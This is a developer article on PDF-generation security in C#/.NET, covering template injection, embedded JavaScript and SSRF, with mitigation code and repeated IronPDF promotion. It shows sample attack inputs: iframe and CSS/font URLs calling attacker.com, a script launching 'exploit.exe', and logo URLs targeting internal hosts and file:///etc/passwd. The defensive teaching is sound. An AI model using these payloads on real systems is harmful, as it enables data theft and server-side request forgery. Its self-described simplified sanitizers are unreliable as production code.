How malicious content can hide in PDFs through template injection, JavaScript execution, and user input vulnerabilities — and how to prevent them in C# / .NET
The False Sense of Security
"We're generating PDFs, not accepting file uploads. What could go wrong?"
I've heard this from multiple engineering teams. The assumption makes sense at first glance — if you control the PDF generation process, you control the security, right?
Wrong.
Last year, I worked with a fintech company processing thousands of invoices daily. Their PDF generation seemed bulletproof: controlled templates, validated data, secure infrastructure. Until a security audit revealed something unsettling: their PDFs could execute JavaScript, leak server paths through metadata, and potentially inject malicious content through user-supplied company names.
They weren't accepting malicious PDFs. They were generating them.
This article explores the often-overlooked attack surface in PDF generation workflows, based on real vulnerabilities I've encountered and the patterns we used to address them.
Disclaimer: This is a technical security discussion based on real-world experience, not legal or compliance advice. The examples are simplified for educational purposes and should not be considered production-ready implementations.
Understanding the Attack Surface
PDF generation creates a unique security boundary that many developers underestimate. Unlike traditional XSS or SQL injection where the attack vector is obvious, PDF injection attacks exploit the gap between "data" and "rendering instructions."
The Three Primary Vectors
1. Template Injection User input that flows into template engines without proper sanitization can inject rendering logic, not just content.
2. JavaScript Execution PDFs can contain executable JavaScript. Yes, really. If not disabled, user-controlled content can trigger scripts when the PDF is opened.
3. External Resource Loading PDFs can reference external resources (images, fonts, stylesheets). Malicious actors can exploit this for SSRF attacks or information gathering.
Let me walk through each vector with real-world examples and practical mitigations.
In the examples below, we'll use IronPDF for .NET-based PDF rendering — its ChromePdfRenderOptions give you granular control over the security surface, which is exactly what this article is about.
Vector 1: Template Injection Vulnerabilities
The Scenario
You're building an invoice generation system. Users can customize their company name and address. Simple data binding, right?
// Simplified example - DO NOT USE IN PRODUCTION
var template = $@"
<html>
<body>
<h1>Invoice from {companyName}</h1>
<p>Address: {address}</p>
</body>
</html>";
var pdf = renderer.RenderHtmlAsPdf(template);The Problem: What if companyName contains HTML or JavaScript?
companyName = "<script>alert('XSS')</script>Evil Corp"
companyName = "<iframe src='http://attacker.com/steal-data'></iframe>Legit Business"While this won't execute JavaScript in the generated PDF by default (we'll cover that next), it can:
- Break PDF rendering
- Inject unwanted HTML elements
- Create display manipulation attacks
- Leak information through external resource requests
The Pattern: Razor Templates Without Encoding
This is particularly dangerous with template engines like Razor:
// VULNERABLE - simplified for clarity
@{
var companyName = Model.CompanyName; // User input
}
<h1>Invoice from @Html.Raw(companyName)</h1>Using @Html.Raw() or similar "trust this input" methods on user data creates an injection point.
The Fix: Input Sanitization + Output Encoding
Layer 1: Sanitize Input
// Simplified - production needs comprehensive validation
public string SanitizeCompanyName(string input)
{
if (string.IsNullOrWhiteSpace(input))
return "N/A";
// Remove HTML tags
var sanitized = Regex.Replace(input, @"<[^>]*>", string.Empty);
// Remove script-like patterns
sanitized = Regex.Replace(sanitized, @"javascript:", string.Empty, RegexOptions.IgnoreCase);
// Limit length
if (sanitized.Length > 200)
sanitized = sanitized.Substring(0, 200);
return sanitized;
}Layer 2: Use Proper Encoding
// Razor templates with automatic encoding
<h1>Invoice from @Model.CompanyName</h1>
<!-- Razor automatically HTML-encodes unless you use Html.Raw -->Layer 3: Content Security Policy for PDFs
With IronPDF, restrict what the rendering engine can do:
// Simplified - adjust based on your security requirements
var renderOptions = new ChromePdfRenderOptions
{
EnableJavaScript = false, // Critical: disable JS execution
Timeout = 60, // Prevent resource exhaustion
};
var pdf = renderer.RenderHtmlAsPdf(htmlContent, renderOptions);Real-World Impact
I've seen template injection used to:
- Embed hidden iframes that attempt to load external tracking pixels
- Break PDF layout to hide invoice amounts
- Inject fake terms and conditions sections
- Create display-based phishing (legitimate-looking but malicious content)
The key lesson: Treat user input in templates the same way you treat user input in web applications.
Vector 2: JavaScript Execution in PDFs
This one surprises most developers: PDFs can execute JavaScript when opened in certain viewers (Adobe Reader, for example).
The Scenario
You're generating customer reports. A field contains user-provided notes:
// Oversimplified - shows the concept
var customerNote = GetCustomerNote(); // User input
var html = $@"
<html>
<body>
<p>Customer Note: {customerNote}</p>
</body>
</html>";
var pdf = renderer.RenderHtmlAsPdf(html);The Attack:
customerNote = "<script>this.exportDataObject({ cName: 'exploit.exe', nLaunch: 2 });</script>"Depending on the PDF viewer and its security settings, this could:
- Execute code when the PDF is opened
- Exfiltrate data to external servers
- Exploit viewer vulnerabilities
The Fix: Disable JavaScript + Validate Content
With IronPDF's ChromePdfRenderOptions:
// Defense in depth approach
var renderOptions = new ChromePdfRenderOptions
{
EnableJavaScript = false, // Primary defense
CreatePdfFormsFromHtml = false, // Disable interactive forms
};
// Additional PDF-level security
var pdf = renderer.RenderHtmlAsPdf(sanitizedHtml, renderOptions);
pdf.SecuritySettings.AllowUserAnnotations = false;
pdf.SecuritySettings.AllowUserCopyPasteContent = false; // Limit attack surfaceInput Validation:
// Simplified for clarity - expand based on your threat model
public string SanitizeUserContent(string input)
{
if (string.IsNullOrWhiteSpace(input))
return string.Empty;
// Remove script tags and event handlers
var clean = Regex.Replace(input, @"<script[^>]*>.*?</script>", string.Empty, RegexOptions.IgnoreCase | RegexOptions.Singleline);
clean = Regex.Replace(clean, @"on\w+\s*=", string.Empty, RegexOptions.IgnoreCase);
// Remove javascript: protocol
clean = Regex.Replace(clean, @"javascript:", string.Empty, RegexOptions.IgnoreCase);
return clean;
}The Hidden Risk: PDF Forms
If your PDFs contain interactive forms, they become a larger attack surface:
// If you must use forms, restrict their capabilities
var renderOptions = new ChromePdfRenderOptions
{
CreatePdfFormsFromHtml = true, // Only if absolutely necessary
EnableJavaScript = false, // Still critical
};
// After generation, lock down the PDF
pdf.SecuritySettings.AllowUserFormData = false; // Prevent form manipulationVector 3: External Resource Loading & SSRF
PDFs can reference external resources. This creates two risks: SSRF (Server-Side Request Forgery) and information leakage.
The Scenario
Your template allows users to add a company logo URL:
// VULNERABLE - simplified
var logoUrl = GetUserLogoUrl(); // User provides URL
var html = $@"
<html>
<body>
<img src='{logoUrl}' />
<h1>Company Report</h1>
</body>
</html>";
var pdf = renderer.RenderHtmlAsPdf(html);The Attack:
logoUrl = "http://internal-server.local/admin"
logoUrl = "file:///etc/passwd"
logoUrl = "http://attacker.com/track?user=victim"When the PDF rendering engine processes this:
- It makes a request to the attacker-controlled URL
- Potentially accesses internal resources
- Leaks information about your infrastructure
- Enables reconnaissance for further attacks
The Fix: Whitelist + Validation + Network Restrictions
Input Validation:
// Simplified - production needs robust URL parsing
public string ValidateResourceUrl(string url)
{
if (string.IsNullOrWhiteSpace(url))
return null;
// Parse and validate
if (!Uri.TryCreate(url, UriKind.Absolute, out var uri))
return null;
// Whitelist allowed schemes
if (uri.Scheme != "https")
return null;
// Blacklist internal/private IPs
var host = uri.Host;
if (IsPrivateOrLocalHost(host))
return null;
// Whitelist allowed domains (if applicable)
var allowedDomains = new[] { "cdn.yourcompany.com", "trusted-cdn.com" };
if (!allowedDomains.Any(d => host.EndsWith(d)))
return null;
return uri.ToString();
}
private bool IsPrivateOrLocalHost(string host)
{
// Simplified - use proper IP parsing in production
return host == "localhost"
|| host.StartsWith("127.")
|| host.StartsWith("10.")
|| host.StartsWith("192.168.")
|| host.StartsWith("172.");
}Network-Level Defense:
When possible, render PDFs in isolated environments:
- Sandboxed containers without internal network access
- Egress filtering to block unexpected outbound connections
- Rate limiting on external resource fetching
IronPDF rendering configuration:
// Limit what the rendering engine can load
var renderOptions = new ChromePdfRenderOptions
{
Timeout = 30, // Prevent hanging on slow/malicious resources
EnableJavaScript = false,
// Additional security configurations
};Defense in Depth: Pre-download and Validate
For highest security, fetch and validate resources before rendering:
// Simplified pattern - not production-ready
public async Task<string> SecureResourceHandling(string userProvidedUrl)
{
var validatedUrl = ValidateResourceUrl(userProvidedUrl);
if (validatedUrl == null)
return GetDefaultImage(); // Fallback to safe default
// Fetch with restrictions
using var client = new HttpClient { Timeout = TimeSpan.FromSeconds(5) };
var response = await client.GetAsync(validatedUrl);
if (!response.IsSuccessStatusCode)
return GetDefaultImage();
// Validate content type
var contentType = response.Content.Headers.ContentType?.MediaType;
if (contentType != "image/png" && contentType != "image/jpeg")
return GetDefaultImage();
// Convert to base64 data URI (eliminates external request during PDF generation)
var bytes = await response.Content.ReadAsByteArrayAsync();
var base64 = Convert.ToBase64String(bytes);
return $"data:{contentType};base64,{base64}";
}This approach:
- Validates URLs before use
- Controls the request (timeout, headers, etc.)
- Embeds resources as data URIs (no external requests during PDF generation)
- Provides safe fallbacks
The Hidden Vectors: What Else Can Go Wrong
Beyond the main three, watch for these often-missed attack surfaces:
1. CSS Injection
CSS can leak data through background-image requests or create display manipulation:
/* Attacker-controlled CSS */
body { background: url('http://attacker.com/exfil?data=...'); }Fix: Sanitize CSS or use predefined stylesheets only.
2. Font Loading
Custom fonts can be used for fingerprinting or SSRF:
<style>
@font-face { src: url('http://attacker.com/track'); }
</style>Fix: Whitelist font sources or embed fonts as base64.
3. Metadata Injection
User input in PDF metadata can leak information or break parsing:
// VULNERABLE if user controls these values
pdf.MetaData.Author = userInput; // Could contain malicious content
pdf.MetaData.Title = customerCompanyName;Fix: Sanitize metadata fields and validate character encoding.
Practical Defense Framework
Based on real implementations, here's a layered defense approach:
Layer 1: Input Validation (Entry Point)
✓ Whitelist allowed characters/patterns
✓ Length limits
✓ Type validation (URLs, emails, etc.)
✓ Reject known malicious patternsLayer 2: Sanitization (Before Template)
✓ HTML encoding for all user content
✓ Remove/escape script tags and event handlers
✓ Validate and restrict URLs
✓ Use parameterized templates (not string concatenation)Layer 3: Rendering Security (PDF Generation)
✓ Disable JavaScript execution
✓ Restrict external resource loading
✓ Set appropriate timeouts
✓ Use [IronPDF](https://ironsoftware.com/csharp/pdf/?utm_source=medium&utm_medium=referral&utm_campaign=kiell-pdf-injection-attacks) security settings — disable JavaScript execution, restrict form creation, control metadata, and set PDF permissions (see IronPDF docs)Layer 4: Post-Generation Hardening (Output)
✓ Set PDF security permissions
✓ Sanitize metadata
✓ Validate generated PDF structure
✓ Scan for embedded scripts (if high-risk environment)Layer 5: Infrastructure (Environment)
✓ Render in isolated/sandboxed environments
✓ Network egress filtering
✓ Monitoring and alerting for anomalies
✓ Regular security testingReal-World Implementation Checklist
Based on lessons learned from production systems:
Before You Generate:
- [ ] All user input is validated against expected patterns
- [ ] HTML/JavaScript content is sanitized or encoded
- [ ] URLs are validated and whitelisted
- [ ] Input length limits are enforced
During Generation:
- [ ] JavaScript execution is disabled in PDF renderer
- [ ] External resource loading is restricted
- [ ] Timeouts prevent resource exhaustion
- [ ] Templates use proper encoding (no
Html.Rawon user input)
After Generation:
- [ ] PDF security settings are applied (restrict editing, scripts)
- [ ] Metadata is sanitized
- [ ] Generated PDFs are stored securely
- [ ] Access is logged for audit purposes
Infrastructure:
- [ ] PDF generation runs in isolated environment
- [ ] Network egress is filtered
- [ ] Monitoring alerts on anomalies (unusual generation times, external requests)
- [ ] Regular security assessments include PDF workflows
Lessons from the Field
1. "Just Disable JavaScript" Isn't Enough
Disabling JavaScript is critical, but it's one control in a defense-in-depth strategy. I've seen systems with JavaScript disabled still vulnerable to:
- Template injection that breaks rendering
- SSRF through image/CSS URLs
- Display manipulation through HTML injection
Better approach: Layer multiple controls and validate inputs at every boundary.
2. Developer Convenience vs Security Theater
Don't make security so complex that developers bypass it. I've seen teams implement strict input validation that was so restrictive developers added "temporary" bypasses that became permanent.
Better approach: Make secure patterns easy to use. Provide sanitization helpers, secure template examples, and clear documentation.
3. Test with Malicious Intent
Most testing focuses on happy paths. Security testing requires thinking like an attacker:
- What if I put HTML in the company name field?
- Can I make the system fetch internal URLs?
- What happens if I inject 10MB of data?
Better approach: Include security test cases in your test suite. Automate injection testing.
4. Monitor in Production
Attacks often appear as anomalies before they succeed:
- Unusual characters in input fields
- Requests to unexpected external domains
- PDF generation taking significantly longer than normal
Better approach: Implement monitoring for security-relevant metrics, not just performance.
Frequently Asked Questions
Can PDFs really execute JavaScript?
Yes, the PDF specification supports embedded JavaScript, and viewers like Adobe Reader can execute it. Disabling JavaScript during generation (EnableJavaScript = false in IronPDF) is a critical security control. This prevents the rendering engine from embedding executable scripts in the generated PDF.
Is IronPDF safe for generating PDFs with user input?
IronPDF provides granular security controls — disable JavaScript execution, restrict form creation, lock down metadata, and set PDF security permissions. Combined with input sanitization, it enables defense-in-depth PDF generation. The library gives you the tools; implementing secure patterns is your responsibility.
What's the most common PDF injection vulnerability?
Template injection through unsanitized user input. Developers often trust user data (company names, addresses, notes) without HTML-encoding before rendering to PDF. This allows attackers to inject HTML, JavaScript, or malicious URLs that get embedded in the final document.
Does disabling JavaScript in IronPDF prevent all PDF attacks?
No. JavaScript disabling is essential but insufficient alone. You also need input sanitization, URL whitelisting, metadata control, and sandboxed rendering. The article's five-layer defense framework covers the full approach — treating PDF generation with the same security rigor as web application development.
Conclusion: Input is Untrusted Until Proven Otherwise
PDF generation creates a unique attack surface because it sits at the boundary between data and rendering logic. User input — company names, addresses, notes, URLs — can become attack vectors if not properly validated and sanitized.
The teams that handle this well:
- Treat PDF generation with the same security rigor as web applications
- Validate and sanitize inputs at every layer
- Use tools like IronPDF with security-first configurations
- Test for malicious inputs, not just valid data
- Monitor for anomalies in production
PDF injection vulnerabilities aren't theoretical. They're real, they're often overlooked, and they can have serious consequences — from information disclosure to code execution.
The good news? They're also preventable with proper input handling, secure configurations, and defense-in-depth thinking.
If you're building PDF generation workflows in .NET and want the security controls demonstrated in this article, IronPDF provides the ChromePdfRenderOptions, SecuritySettings, and metadata APIs shown throughout these examples.
👉 Explore IronPDF's security features and try the security configurations shown in this article with a free trial.
In the next article, we'll explore another overlooked attack surface: PDF metadata and information leakage — what your generated PDFs reveal about your infrastructure, and how to prevent reconnaissance through document properties.
Have you encountered PDF injection issues in your systems? I'd be interested in hearing about other attack patterns or defense strategies that have worked in your environment.
Building secure document generation systems? Let's connect and share experiences.